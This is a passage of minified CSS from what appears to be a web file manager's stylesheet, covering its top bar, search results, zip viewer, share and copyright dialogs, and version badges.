solid #5074be;overflow:hidden;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;padding:0px 1.2em;border-top:none;border-bottom:none;outline:none;float:left;margin-left:-1px;font-size:14px;}.topbar .content .topbar-menu.title{font-size:20px;width:200px;width:202px\0;padding:0;text-align:center;}.topbar .content .topbar-menu.title:hover{background:none;}.topbar .content .topbar-menu .icon{width:25px;height:25px;margin-right:5px;padding:0;margin-top:-4px;font-size:13px;line-height:25px;text-align:center;background:none;}.topbar .content .title img{max-width:200px;max-height:44px;}.topbar .content .open .topbar-menu,.topbar .content .topbar-menu:hover,.topbar .content .topbar-menu.this{background:#5074be;}.topbar .content .menu-desktop:before{content:"\f108";}.topbar .content .menu-explorer:before{content:"\f0ae";}.topbar .content .menu-editor:before{content:"\f044";}.topbar .content .top-left.collapse{display:block;height:auto !important;}.topbar .content .top-left{overflow:hidden;height:40px;width:70%;}.topbar .content .top-right{position:absolute;right:0px;top:0px;margin-right:0px;height:40px;}.topbar .content .top-right .menu-group{height:40px;margin-right:-1px;float:left;position:relative;}.topbar .content .top-right .topbar-menu{display:inline-block;padding:0px 6px;margin-right:1px;}.topbar .content .top-right .topbar-menu i{padding-right:3px;}.topbar .content .top-right .btn{color:#fff;}.topbar .content .top-right ul a{line-height:30px;height:30px;display:block;padding:0px 1.7em;border:none;overflow:hidden;}.topbar .content .top-right ul a:hover,.topbar .content .top-right ul a.this{margin-right:0px;}.topbar .content .top-right ul a.this{background:#63acff;color:#fff;}.topbar .content .top-right ul .font-icon{width:18px;display:inline-block;}.topbar .content .top-right ul.dropdown-menu{margin-top:-1px;}.topbar .content .top-right ul.dropdown-menu.topbar-language{width:470px;padding:10px 5px;}.topbar .content .top-right ul.dropdown-menu.topbar-language li{width:115px;float:left;margin:0 1px 1px 0;}.topbar .content .top-right ul.dropdown-menu.topbar-language a{padding:0 8px 0 8px;height:26px;line-height:26px;font-size:13px;}.topbar .content .top-right ul.dropdown-menu.topbar-language i.flag{padding-right:0px;background-color:#eee;position:relative;top:1px;}.topbar .content .share-title{text-align:center;color:#fff;float:left;margin-left:8px;margin-right:7px;}.topbar .content .share-title-info{color:#fff;font-size:1.25em;background:#eee;background:rgba(0,0,0,0.2);border-radius:4px;padding:6px;}.topbar .content .share-info{color:#fff;float:left;font-size:1em;}.topbar .content .share-info .time{padding-left:5px;color:#fff;padding-right:8px;}.topbar .content .top-right div.share-info-user{margin-right:10px;color:#fff;position:relative;}.topbar .content .top-right div.share-info-user .btn-download,.topbar .content .top-right div.share-info-user .btn.button-my-share{padding:4px 20px;margin-left:5px;}.topbar .content .top-right div.share-info-user .dropdown-toggle{height:16px;}.topbar ul.dropdown-menu.topbar-submenu{right:auto;left:auto;margin-left:-1px;margin-top:-1px;padding:20px 0 10px 20px;width:380px;}.topbar ul.dropdown-menu.topbar-submenu li{float:left;display:block;margin:0 10px 10px 0;width:85px;height:95px;}.topbar ul.dropdown-menu.topbar-submenu li a{border-radius:4px;display:block;height:100%;padding:0;text-align:center;}.topbar ul.dropdown-menu.topbar-submenu li a:hover,.topbar ul.dropdown-menu.topbar-submenu li a:active,.topbar ul.dropdown-menu.topbar-submenu li a.this,.topbar ul.dropdown-menu.topbar-submenu li a.this:hover{background:#34a5ff;color:#fff;}.topbar ul.dropdown-menu.topbar-submenu li a:hover i.icon,.topbar ul.dropdown-menu.topbar-submenu li a:hover i.font-icon,.topbar ul.dropdown-menu.topbar-submenu li a:active i.icon,.topbar ul.dropdown-menu.topbar-submenu li a:active i.font-icon,.topbar ul.dropdown-menu.topbar-submenu li a.this i.icon,.topbar ul.dropdown-menu.topbar-submenu li a.this i.font-icon,.topbar ul.dropdown-menu.topbar-submenu li a.this:hover i.icon,.topbar ul.dropdown-menu.topbar-submenu li a.this:hover i.font-icon{background:#f5faff;color:#2196F3;}.topbar ul.dropdown-menu.topbar-submenu li a i.icon,.topbar ul.dropdown-menu.topbar-submenu li a i.font-icon,.topbar ul.dropdown-menu.topbar-submenu li a img,.topbar ul.dropdown-menu.topbar-submenu li a .x-item-file{width:64px;height:64px;line-height:64px;padding:0;margin-top:5px;opacity:1;display:inline-block;border-radius:10px;}.topbar ul.dropdown-menu.topbar-submenu li a .x-item-file{margin-bottom:-5px;}.topbar ul.dropdown-menu.topbar-submenu li a i.icon,.topbar ul.dropdown-menu.topbar-submenu li a i.font-icon{font-size:36px;background:#def;color:#2196F3;}.topbar ul.dropdown-menu.topbar-submenu li a i.icon.words,.topbar ul.dropdown-menu.topbar-submenu li a i.font-icon.words{font-size:20px;}.topbar ul.dropdown-menu.topbar-submenu li a i.icon.words em,.topbar ul.dropdown-menu.topbar-submenu li a i.font-icon.words em{width:45px;height:45px;overflow:hidden;font-style:normal;display:inline-block;white-space:pre-wrap;}.topbar ul.dropdown-menu.topbar-submenu li a span{display:block;font-size:13px;padding-top:5px;text-overflow:ellipsis;overflow:hidden;white-space:nowrap;}.common-footer{position:fixed;bottom:0px;background:#f8f8f8;color:#999;font-size:1em;width:100%;text-align:center;border-top:1px solid #e8e8e8;height:31px;line-height:32px;overflow:hidden;}.common-footer .copyright-bottom{cursor:pointer;font-size:1.25em;color:#aaa;text-decoration:none;}.common-footer .copyright-bottom:hover{color:#f60;border-bottom:none;}.desktop-widget{z-index:10 !important;}.do-search-box{color:#888;}.do-search-box .search-header{padding:10px;padding-bottom:0px;}.do-search-box .search-header input[type='checkbox']{padding-left:0px;}.do-search-box .search-header label{font-size:1em;}.do-search-box .search-header .btn-right{margin:0px 0 0 -2px;height:25px;width:30px;padding:0;height:28px \9\0;position:absolute !important;}.do-search-box .search-header .s_br{margin-bottom:8px;line-height:25px;}.do-search-box .search-header #search-value,.do-search-box .search-header #search-path,.do-search-box .search-header #search-ext{height:23px;height:27px \0;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;width:125px;padding-left:10px;padding-right:10px;margin-left:5px;}.do-search-box .search-header #search-value:focus,.do-search-box .search-header #search-path:focus,.do-search-box .search-header #search-ext:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.do-search-box .search-header #search-value{width:190px;margin:0;padding:2px 5px 0px 5px;padding-top:1px \0;}.do-search-box #search-is-case{margin-left:10px;}.do-search-box .search-desc{height:30px;line-height:30px;text-align:center;font-size:13px;margin:0px 10px;border:1px solid #ddd;color:#3196e6;background-image:-webkit-linear-gradient(top,#fff,#def);border-top-left-radius:3px;border-top-right-radius:3px;}.do-search-box .search-result{overflow-y:auto;overflow-x:hidden;position:absolute;top:137px;bottom:0px;right:0px;left:0px;margin:10px;border:1px solid #ddd;border-top:none;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do-search-box .search-result .file-items{list-style:none;margin:0px;padding:10px 0;font-size:13px;}.do-search-box .search-result .file-item .file-info{height:25px;line-height:25px;cursor:default;padding-left:10px;font-size:13px;color:#444;position:relative;word-wrap:break-word;word-break:break-all;overflow:hidden;}.do-search-box .search-result .file-item .file-info:hover{background:#eee;}.do-search-box .search-result .file-item .file-info .title{height:25px;color:#666;padding-left:5px;}.do-search-box .search-result .file-item .file-info .title:hover{border-bottom:1px solid #1387bb;cursor:pointer;color:#1387bb;}.do-search-box .search-result .file-item .file-info .switch{width:20px;height:20px;display:inline-block;text-align:center;color:#aaa;font-size:14px;}.do-search-box .search-result .file-item .file-info .file-icon{display:inline-block;width:18px;height:18px;}.do-search-box .search-result .file-item .file-info .file-icon img{width:100%;height:100%;}.do-search-box .search-result .file-item .file-info .result-num{margin:0 5px;border-radius:10px;background-color:#dfeaf3;color:#666;font-size:12px;padding:3px 8px;font-weight:bold;}.do-search-box .search-result .file-item .file-info .goto{position:absolute;right:0;top:0;width:30px;height:25px;line-height:25px;text-align:center;color:#bbb;background:#fff;cursor:pointer;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do-search-box .search-result .file-item .file-info .goto:hover,.do-search-box .search-result .file-item .file-info:hover .goto:hover{background:#fbbc00;color:#fff;}.do-search-box .search-result .file-item .file-info:hover .goto{display:block;background:#e6e6e6;}.do-search-box .search-result .file-item .keyword{background:#ffef65;color:#000;}.do-search-box .search-result .file-item .result-item{list-style:none;margin:0px;padding:0px;}.do-search-box .search-result .file-item .result-item .result-info{height:25px;margin:0px;padding:0;line-height:25px;padding:0 15px;cursor:default;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;}.do-search-box .search-result .file-item .result-item .result-info:hover{background:#eee;}.do-search-box .search-result .file-item .result-item .result-info.this,.do-search-box .search-result .file-item .result-item .result-info.this:hover{background:#63acff;}.do-search-box .search-result .file-item .result-item .result-info.this .line,.do-search-box .search-result .file-item .result-item .result-info.this .search-info,.do-search-box .search-result .file-item .result-item .result-info.this:hover .line,.do-search-box .search-result .file-item .result-item .result-info.this:hover .search-info{color:#fff;}.do-search-box .search-result .file-item .result-item .line{display:inline-block;width:32px;margin-left:7px;padding-right:4px;text-align:right;font-weight:800;color:#aaa;}.do-search-box .search-result .file-item .result-item .search-info{font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', monospace 'Microsoft Yahei', '微软雅黑', Courier, 'Helvetica Neue', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;color:#444;}.do-search-box .search-result .file-item.open .file-info .switch .icon-caret-right:before{content:"\f0d7";}#maskViewContent .upload-tips{text-align:center;}#maskViewContent .upload-tips .icon-cloud{opacity:0.8;}#maskViewContent .upload-tips .icon-cloud.cloud2{font-size:180px;}#maskViewContent .upload-tips .icon-cloud.cloud1,#maskViewContent .upload-tips .icon-cloud.cloud3{position:absolute;opacity:0.6;}#maskViewContent .upload-tips .icon-cloud.cloud1{margin-left:-60px;margin-top:110px;-webkit-animation:moveLeftLoop 8.0s infinite ease-in-out;animation:moveLeftLoop 8.0s infinite ease-in-out;}#maskViewContent .upload-tips .icon-cloud.cloud3{margin-left:-50px;margin-top:60px;font-size:60px;animation-delay:4s;-webkit-animation-delay:4s;-webkit-animation:moveLeftLoop 10.0s infinite ease-in-out;animation:moveLeftLoop 10.0s infinite ease-in-out;}#maskViewContent .upload-tips .cloud-moveup{height:70px;}#maskViewContent .upload-tips .cloud-moveup i{position:absolute;margin-left:-23px;margin-top:-16px;}body#page-desktop .topbar .content .topbar-menu{border-color:rgba(255,255,255,0.01);}.full-background{position:absolute;overflow:hidden;z-index:0;}.aero:before{position:absolute;top:0;right:0;bottom:0;left:0;z-index:-1;box-sizing:border-box;background-position:center center;background-size:cover;background-repeat:no-repeat;background-attachment:fixed;content:'';-webkit-filter:blur(4px) brightness(1.0);filter:blur(4px) brightness(1.0);clip-path:inset(0);}.aero:after{position:absolute;top:0;right:0;bottom:0;left:0;z-index:-2;box-sizing:border-box;background-position:center center;background-size:cover;background-repeat:no-repeat;background-attachment:fixed;clip-path:inset(0);}.task-tab{position:fixed;bottom:1px;left:0;width:100%;height:30px;padding-left:50px;z-index:100;background:rgba(0,0,0,0.1);border-top:1px solid rgba(0,0,0,0.15);color:#444;}.task-tab .tabs{height:100%;margin-right:20px;margin-right:60px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.task-tab .tabs .tab{float:left;height:29px;margin-right:2px;white-space:nowrap;text-overflow:ellipsis;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;color:#fff;border-radius:3px;cursor:default;overflow:hidden;font-size:1em;box-shadow:0 0 6px #666;padding-left:4px;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.3)', endColorstr='rgba(255,255,255,0)');background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.3),rgba(255,255,255,0));-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.task-tab .tabs .tab.hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.5),rgba(255,255,255,0));}.task-tab .tabs .tab.this{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.7)', endColorstr='rgba(255,255,255,0)');background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.7),rgba(255,255,255,0));box-shadow:0 0 6px #000;}.tasktab-dragging{position:fixed;position:absolute;z-index:99999;height:30px;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0 0 3px #000;box-shadow:0 0 6px #000;padding-left:4px;white-space:nowrap;text-overflow:ellipsis;border-radius:3px;cursor:default;color:#fff;overflow:hidden;font-size:1em;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.8)', endColorstr='rgba(255,255,255,0.2)');background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-o-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));-pie-background:linear-gradient(to top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));}.init-loading{position:fixed;left:50%;margin-left:-80px;top:40%;font-size:1.25em;z-index:999999;width:auto;}.init-loading div{padding:20px;background:#000;opacity:0.6;filter:alpha(opacity=60);margin:0 auto;color:#FFF;border-radius:6px;text-align:center;line-height:30px;}.init-loading img{border-radius:10px;}.space-info-bar{width:110px;}.space-info-bar .space-process{width:110px;height:6px;overflow:hidden;background-color:#ddd;margin:0px;border-radius:5px;}.space-info-bar .space-process .space-process-use{width:20%;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;height:100%;background-color:#428bca;border-radius:5px;}.space-info-bar .space-process .space-process-use.warning{background-color:#f00 !important;}.dialog-app-select .app-list{border:1px solid #ddd;padding:25px 0 0 10px;height:280px;overflow:auto;overflow-x:hidden;border-radius:4px;background:#f5f5f5;}.dialog-app-select .app-list .app-item{border:1px solid #f5f5f5;width:95px;height:110px;border-radius:4px;transition:all 0.2s ease 0s;margin:0 10px 10px 0;text-align:center;float:left;color:#444;text-decoration:none;}.dialog-app-select .app-list .app-item:hover{border-color:#77c2ff;background:#def;}.dialog-app-select .app-list .app-item.select{border-color:#559cec;background:#63acff;color:#fff;}.dialog-app-select .app-list .app-item .ico{width:64px;height:64px;display:table-cell;vertical-align:middle;padding:5px 0 0 16px;}.dialog-app-select .app-list .app-item .ico img{width:100%;height:auto;}.dialog-app-select .app-list .app-item .ico .x-item-file{display:block;}.dialog-app-select .app-list .app-item .ico [class^="icon-"].font-icon,.dialog-app-select .app-list .app-item .ico [class*="icon-"].font-icon{width:56px;height:56px;line-height:60px;font-size:28px;padding:0px;text-align:center;margin-top:-2px;border-radius:12px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(3,169,244,0.7)', endColorstr='rgba(63,81,181,0.5)');background-image:-webkit-linear-gradient(164deg,rgba(3,169,244,0.7),rgba(63,81,181,0.5));background-image:-moz-linear-gradient(164deg,rgba(3,169,244,0.7),rgba(63,81,181,0.5));background-image:-o-linear-gradient(164deg,rgba(3,169,244,0.7),rgba(63,81,181,0.5));background-image:-ms-linear-gradient(164deg,rgba(3,169,244,0.7),rgba(63,81,181,0.5));background-image:linear-gradient(164deg,rgba(3,169,244,0.7),rgba(63,81,181,0.5));-pie-background:linear-gradient(to 164deg,rgba(3,169,244,0.7),rgba(63,81,181,0.5));color:#fff;display:inline-block;}.appbox{overflow:hidden;padding:0px 10px 0 0;}.appbox .appline{width:100%;margin-bottom:10px;line-height:20px;overflow:hidden;}.appbox .appline .left{float:left;width:80px;text-align:right;padding-right:14px;}.appbox .appline .right{float:left;}.appbox .appline input{margin-right:5px;}.appbox .appline label{display:inline-block;margin-left:-10px;padding:0 5px;}.appbox .appline input[type=text],.appbox .appline textarea{width:275px;padding:0px 5px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:28px;border-radius:3px;}.appbox .appline input[type=text]:focus,.appbox .appline textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.appbox .appline input[type=text].w30{width:50px;}.appbox .appline input[type=text].w20{width:30px;}.appbox .appline textarea{height:100px;}.appbox .appline.icon input{width:232px;}.appbox .appline.icon a{padding:2px 4px;top:0px;border:1px solid #CCC;}.appbox .appline.icon .open{margin-left:-12px;cursor:pointer;margin-top:-4px;font-size:14px;padding:3px 1em 4px 1em;}.appbox .appline.icon a img{width:20px;height:20px;}.zip-view-dialog .aui-content{min-width:400px;position:relative;}.zip-view-dialog .aui-title{height:90px;}.zip-view-dialog .zip-view-content{position:absolute;left:0;right:0;bottom:0;top:0px;margin:0px;min-width:400px;border:none;}.zip-view-dialog .zip-view-content .header{height:90px;background-color:#2c41b3;background-image:linear-gradient(to bottom,#2c41b3 0,#222b5d 100%);color:#fff;position:relative;}.zip-view-dialog .zip-view-content .header .bg{background:url("../../../images/common/banner/fly.png") 100px -300px;width:100%;height:100%;position:absolute;}.zip-view-dialog .zip-view-content .header .icon{width:56px;height:56px;position:absolute;left:20px;top:20px;}.zip-view-dialog .zip-view-content .header .name,.zip-view-dialog .zip-view-content .header .desc{position:absolute;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;width:80%;}.zip-view-dialog .zip-view-content .header .name{margin:22px 0 0 90px;font-size:18px;font-weight:800;}.zip-view-dialog .zip-view-content .header .desc{margin:50px 0 0 90px;}.zip-view-dialog .zip-view-content .zip-header-title{height:23px;line-height:23px;border-bottom:1px solid #ddd;border-top:1px solid #ddd;background:#f6f6f6 url("../../../images/common/bg.gif") 0 -30px;}.zip-view-dialog .zip-view-content .zip-header-title .item{float:left;}.zip-view-dialog .zip-view-content .zip-header-title .item span{display:block;border-right:1px solid #ddd;padding-left:10px;cursor:default;}.zip-view-dialog .zip-view-content .zip-header-title .name{width:60%;}.zip-view-dialog .zip-view-content .zip-header-title .size{width:10%;}.zip-view-dialog .zip-view-content .zip-header-title .mtime{width:30%;}.zip-view-dialog .zip-view-content .zip-header-title .item.mtime span{border-right:none;}.zip-view-dialog .zip-view-content .ztree{padding:0px;position:absolute;top:115px;left:0;right:0px;bottom:0;overflow:auto;}.zip-view-dialog .zip-view-content .ztree li,.zip-view-dialog .zip-view-content .ztree li ul{width:100%;}.zip-view-dialog .zip-view-content .ztree li a{position:relative;padding-left:0;color:#333;text-shadow:none;}.zip-view-dialog .zip-view-content .ztree li a:hover{transition:none;}.zip-view-dialog .zip-view-content .ztree li a.odd{background:#f1f7ff;}.zip-view-dialog .zip-view-content .ztree li a:hover,.zip-view-dialog .zip-view-content .ztree li a.odd:hover{background:#fdeec3;}.zip-view-dialog .zip-view-content .ztree li a.curSelectedNode,.zip-view-dialog .zip-view-content .ztree li a.odd.curSelectedNode{background:#63acff;color:#fff;}.zip-view-dialog .zip-view-content .ztree li a .name{width:45%;overflow:hidden;position:absolute;word-break:break-all;text-overflow:ellipsis;}.zip-view-dialog .zip-view-content .ztree li a .time{width:27%;opacity:0.8;font-size:12px;position:absolute;left:72%;}.zip-view-dialog .zip-view-content .ztree li a .size{width:10%;opacity:0.8;font-size:12px;position:absolute;left:62%;}.zip-view-dialog .zip-view-content .ztree li a .menu-item-parent{display:none;position:absolute;right:0px;top:0;text-align:center;width:25px;height:24px;background:#fff;background:rgba(50,50,50,0.1);color:#666;}.zip-view-dialog .zip-view-content .ztree li a:hover .menu-item-parent{display:block;}.zip-view-dialog .zip-view-content .ztree li a.curSelectedNode .menu-item-parent{display:block;color:#fff;}.dialog-min-size.zip-view-dialog .aui-title{height:auto !important;}.dialog-min-size.zip-view-dialog .aui-header .aui-min,.dialog-min-size.zip-view-dialog .aui-header .aui-max,.dialog-min-size.zip-view-dialog .aui-header .aui-close{color:#ddd;}.support-space-not .share-dialog .content-box .content-info{padding:30px 20px 30px 20px;}.support-space-not .system-content .right-frame .group-title .group-size{display:none !important;}.support-space-not .size-max-set,.support-space-not .user-setting-more-btn,.support-space-not .user-setting-more{display:none;}.support-space-not .user-list .space,.support-space-not .share-view-info,.support-space-not .user-space-info{display:none;}.support-space-not .frame-main .user-space-info{display:none;}.support-space-not .frame-main .frame-left .group-space-use{display:none;}.support-space-not .frame-main .frame-left #folder-list-tree{bottom:70px;}.dropdown-menu.menu-topbar-user{right:6px;}.version-vip{height:26px;line-height:26px;padding:0;opacity:0.7;filter:alpha(opacity=70);padding-left:25px;cursor:pointer;font-size:12px;display:block;color:#eee;background:#999;}.version-vip#version_vip_1{color:#bdeaff;background:#03a9f4;}.version-vip#version_vip_2{color:#ea9df7;background:#9c27b0;}.version-vip#version_vip_3,.version-vip#version_vip_4,.version-vip#version_vip_5,.version-vip#version_vip_6{color:#fff;background:#ffc107;}.version-vip:hover{opacity:0.9;filter:alpha(opacity=90);text-decoration:none;}.version-license{width:250px;height:250px;overflow:hidden;position:absolute;z-index:9999;pointer-events:none;top:30px;left:0px;}.version-license a.line{position:absolute;pointer-events:all;width:300px;height:60px;line-height:60px;left:-70px;top:40px;font-size:20px;background:#FF9800;background:linear-gradient(to top left,#FF9800,#FF5722);text-decoration:none;-webkit-transform:rotate(-45deg);-moz-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-transition:all 0.2;-moz-transition:all 0.2;-o-transition:all 0.2;-ms-transition:all 0.2;transition:all 0.2;text-align:center;color:#fff;opacity:0.9;filter:alpha(opacity=90);}.version-license a.line:hover{opacity:0.7;filter:alpha(opacity=70);}.path-select-input{width:550px;padding:7px;background:rgba(255,255,255,0.3);border:1px solid rgba(100,100,100,0.3);color:#000;}.aui-state-lock .aui-min{display:none;}.dialog-copyright{width:400px !important;}.dialog-copyright,.share-dialog,.check-version-dialog{min-width:400px;}.dialog-copyright.dialog-simple .aui-outer,.share-dialog.dialog-simple .aui-outer,.check-version-dialog.dialog-simple .aui-outer{overflow:inherit;box-shadow:0 0px 60px rgba(0,0,0,0.4);border-radius:5px;border:none;}.dialog-copyright.dialog-simple .aui-outer,.dialog-copyright.dialog-simple .aui-outer.dialog-mouse-in,.share-dialog.dialog-simple .aui-outer,.share-dialog.dialog-simple .aui-outer.dialog-mouse-in,.check-version-dialog.dialog-simple .aui-outer,.check-version-dialog.dialog-simple .aui-outer.dialog-mouse-in{border:none;}.dialog-copyright.dialog-simple .aui-outer .aui-main,.dialog-copyright.dialog-simple .aui-outer.dialog-mouse-in .aui-main,.share-dialog.dialog-simple .aui-outer .aui-main,.share-dialog.dialog-simple .aui-outer.dialog-mouse-in .aui-main,.check-version-dialog.dialog-simple .aui-outer .aui-main,.check-version-dialog.dialog-simple .aui-outer.dialog-mouse-in .aui-main{border:none;}.dialog-copyright.dialog-simple .aui-outer .aui-header,.dialog-copyright.dialog-simple .aui-outer.dialog-mouse-in .aui-header,.share-dialog.dialog-simple .aui-outer .aui-header,.share-dialog.dialog-simple .aui-outer.dialog-mouse-in .aui-header,.check-version-dialog.dialog-simple .aui-outer .aui-header,.check-version-dialog.dialog-simple .aui-outer.dialog-mouse-in .aui-header{border:none;}.dialog-copyright.dialog-simple .aui-header,.share-dialog.dialog-simple .aui-header,.check-version-dialog.dialog-simple .aui-header{background:transparent;opacity:1.0;filter:alpha(opacity=100);border:none;}.dialog-copyright.dialog-simple .aui-nw,.dialog-copyright.dialog-simple .aui-n,.dialog-copyright.dialog-simple .aui-ne,.dialog-copyright.dialog-simple .aui-w,.dialog-copyright.dialog-simple .aui-e,.dialog-copyright.dialog-simple .aui-sw,.dialog-copyright.dialog-simple .aui-s,.dialog-copyright.dialog-simple .aui-se,.share-dialog.dialog-simple .aui-nw,.share-dialog.dialog-simple .aui-n,.share-dialog.dialog-simple .aui-ne,.share-dialog.dialog-simple .aui-w,.share-dialog.dialog-simple .aui-e,.share-dialog.dialog-simple .aui-sw,.share-dialog.dialog-simple .aui-s,.share-dialog.dialog-simple .aui-se,.check-version-dialog.dialog-simple .aui-nw,.check-version-dialog.dialog-simple .aui-n,.check-version-dialog.dialog-simple .aui-ne,.check-version-dialog.dialog-simple .aui-w,.check-version-dialog.dialog-simple .aui-e,.check-version-dialog.dialog-simple .aui-sw,.check-version-dialog.dialog-simple .aui-s,.check-version-dialog.dialog-simple .aui-se{height:0px;width:0px;background:none;}.dialog-copyright.dialog-simple .aui-inner,.share-dialog.dialog-simple .aui-inner,.check-version-dialog.dialog-simple .aui-inner{border:none;background:none;}.dialog-copyright.dialog-simple .aui-title,.share-dialog.dialog-simple .aui-title,.check-version-dialog.dialog-simple .aui-title{opacity:0.01;filter:alpha(opacity=1);top:0px;position:absolute;width:100%;height:100%;z-index:5;}.dialog-copyright.dialog-simple .aui-min,.dialog-copyright.dialog-simple .aui-max,.share-dialog.dialog-simple .aui-min,.share-dialog.dialog-simple .aui-max,.check-version-dialog.dialog-simple .aui-min,.check-version-dialog.dialog-simple .aui-max{display:none;}.dialog-copyright.dialog-simple .aui-title-bar,.share-dialog.dialog-simple .aui-title-bar,.check-version-dialog.dialog-simple .aui-title-bar{bottom:0px;overflow:hidden;height:100px;position:absolute;margin-top:-120px;top:120px;margin-left:0px;border-radius:4px;}.dialog-copyright.dialog-simple .aui-close,.share-dialog.dialog-simple .aui-close,.check-version-dialog.dialog-simple .aui-close{opacity:0.6;filter:alpha(opacity=60);background:rgba(0,0,0,0.5);width:100px;height:100px;top:-50px;right:-50px;border-radius:50px;text-align:left;font-size:20px;z-index:100;padding:0;}.dialog-copyright.dialog-simple .aui-close:hover,.share-dialog.dialog-simple .aui-close:hover,.check-version-dialog.dialog-simple .aui-close:hover{opacity:0.6;filter:alpha(opacity=60);}.dialog-copyright.dialog-simple .aui-close:active,.share-dialog.dialog-simple .aui-close:active,.check-version-dialog.dialog-simple .aui-close:active{opacity:1.0;filter:alpha(opacity=100);}.dialog-copyright.dialog-simple .aui-close::before,.share-dialog.dialog-simple .aui-close::before,.check-version-dialog.dialog-simple .aui-close::before{padding-left:22px;line-height:140px;}.dialog-copyright .aui-footer,.share-dialog .aui-footer,.check-version-dialog .aui-footer{display:none;}.check-version-dialog .update-box{margin-top:0px;}.share-dialog .content-box .content-info .input-line .open-window,.pathinfo .input-group-btn .open-window{margin-right:-1px;border-radius:0px;}.dialog-copyright .dialog-copyright-content,.check-version-dialog .aui-content{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;width:auto;border-radius:6px;width:400px;-webkit-box-shadow:0px 10px 60px rgba(0,0,0,0.4);-moz-box-shadow:0px 10px 60px rgba(0,0,0,0.4);box-shadow:0px 10px 60px rgba(0,0,0,0.4);border:1px solid #ccc \9;padding-bottom:30px;background:#fff;background:rgba(255,255,255,0.9);}.dialog-copyright .dialog-copyright-content .title,.check-version-dialog .aui-content .title{width:100%;background:#6699cc url("../../../images/common/login.png");height:150px;padding-top:0px;border-top-left-radius:5px;border-top-right-radius:5px;}.dialog-copyright .dialog-copyright-content .title .logo,.check-version-dialog .aui-content .title .logo{text-align:center;font-size:35px;width:100%;padding-top:40px;color:#aaddff;-webkit-box-reflect:below -13px -webkit-gradient(linear,left top,left bottom,from(transparent),to(rgba(255,255,255,0.2)));background-image:-webkit-linear-gradient(92deg,#FFFFFF,#14A1FF);-webkit-background-clip:text;-webkit-text-fill-color:transparent;-webkit-animation:hue 6s 100 linear;}.dialog-copyright .dialog-copyright-content .title .logo i,.check-version-dialog .aui-content .title .logo i{color:#aaddff;font-weight:400;margin-right:10px;}.dialog-copyright .dialog-copyright-content .title 